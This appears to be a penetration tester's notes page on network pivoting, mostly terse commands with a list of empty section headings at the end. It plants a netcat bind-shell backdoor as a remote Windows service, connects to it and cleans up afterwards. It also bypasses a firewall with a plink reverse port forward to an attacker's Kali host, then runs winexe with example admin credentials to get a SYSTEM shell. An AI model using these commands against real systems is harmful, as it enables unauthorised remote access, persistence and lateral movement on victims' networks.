Pivots
Windows backdoor
sc \\serv1 create ncsvc binpath= "cmd.exe /k c:\Tools\nc.exe -lp 2222 -e cmd.exe"
sc \\serv1 query ncsvc
sc \\serv1 start ncsvc
nc.exe -nv 10.x.x.x 2222 ..Connect!!!
sc \\serv1 delete ncsvc ..CleanupWindows Port Fwd: plink
Win: Disable ports:
netsh advfirewall set allprofiles state on
kali:
> winexe -U 'admin%password123' --system //192.168.win cmd.exe
connects on 445 by default
now fails
kali:
nc -nvlp 53
pkill --full smbserver.py ..kill our smb
vim /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
plink
from makers of PuTTY
win: will connect and port-forward over 445
plink.exe [email protected] -R 445:127.0.0.1:445
from kali local win
connects to kali on 445!
kali:
> winexe -U 'admin%password123' --system //127.0.0.1 cmd.exe
connects on 445 by default
now works!!Firewall port redirect
SSH Pivots
Local
Reverse
Dynamic
Metasploit Pivots
Socks Proxy Note
Proxychains
SSH ProxyJump
SSH Konami Code (pivot)
Last updated